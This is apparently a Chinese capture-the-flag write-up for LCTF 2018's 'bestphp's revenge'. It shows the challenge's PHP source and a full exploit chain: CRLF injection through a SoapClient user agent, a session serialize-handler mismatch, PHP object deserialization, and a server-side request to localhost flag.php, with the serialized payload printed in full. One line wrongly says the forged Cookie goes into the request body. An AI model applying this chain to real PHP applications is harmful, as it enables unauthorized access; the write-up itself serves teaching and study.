bestphp’s revenge
这道题的知识点还挺多的
源码文件有两个:index.php和flag.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;}
目的是通过127.0.0.1向flag.php发送请求,然后flag.php把flag放到session里。发请求用的是php里的一个内置类:SoapClient,它有魔术方法_call可以构造请求
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",'uri' => "http://127.0.0.1/"))
这里还用到了CRLF,也就是“\r\n”。在http请求中,\r\n用来分隔请求头和请求体,因此Cookie就会被放到请求体当中,等于我们用一个自己构造的SESSID访问了flag.php。
接下来要让SoapClient类被调用。传值f=extract&name=SoapClient POST:b=call_user_func。extract把数组中键的值赋给键的同名变量,也就是把call_user_func赋给了$b
。
此时源代码中的最后一行call_user_func($b, $a)
就变成了call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’))
当call_user_func的第一个参数为数组时,会把第一个值当作类名,第二个值当作方法进行回调。也就是说会调用SoapClient->welcome_to_the_lctf2018’,因为SoapClient没有这个方法就调用_call。
最后要把我们构造的SoapClient类写进去,通过php的反序列化。php有三种处理器对$_SESSION数据进行序列化和反序列化。
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
题目的环境本来是php,但我们可以通过session_start函数把session.serialize_handler改为php_serialize。然后在name里输入构造好的反序列化字符串,加'|'
字符,php处理器就会把|后面的字符串都看成键值进行反序列化。
<?php
$target='http://127.0.0.1/flag.php';
$b = new SoapClient(null,array('location' => $target,'user_agent' => "npfs\r\nCookie:PHPSESSID=123456\r\n",'uri' => "http://127.0.0.1/"));$a = serialize($b);
echo "|".urlencode($a);
得到
|O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A31%3A%22npfs%0D%0ACookie%3APHPSESSID%3D123456%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
先把序列化字符串写进session文件里顺便覆盖php处理器
覆盖变量b并且把name写成SoapClient,调用SoapClient的__call访问flag.php
这时候再把PHPSESSID改成123456就能得到flag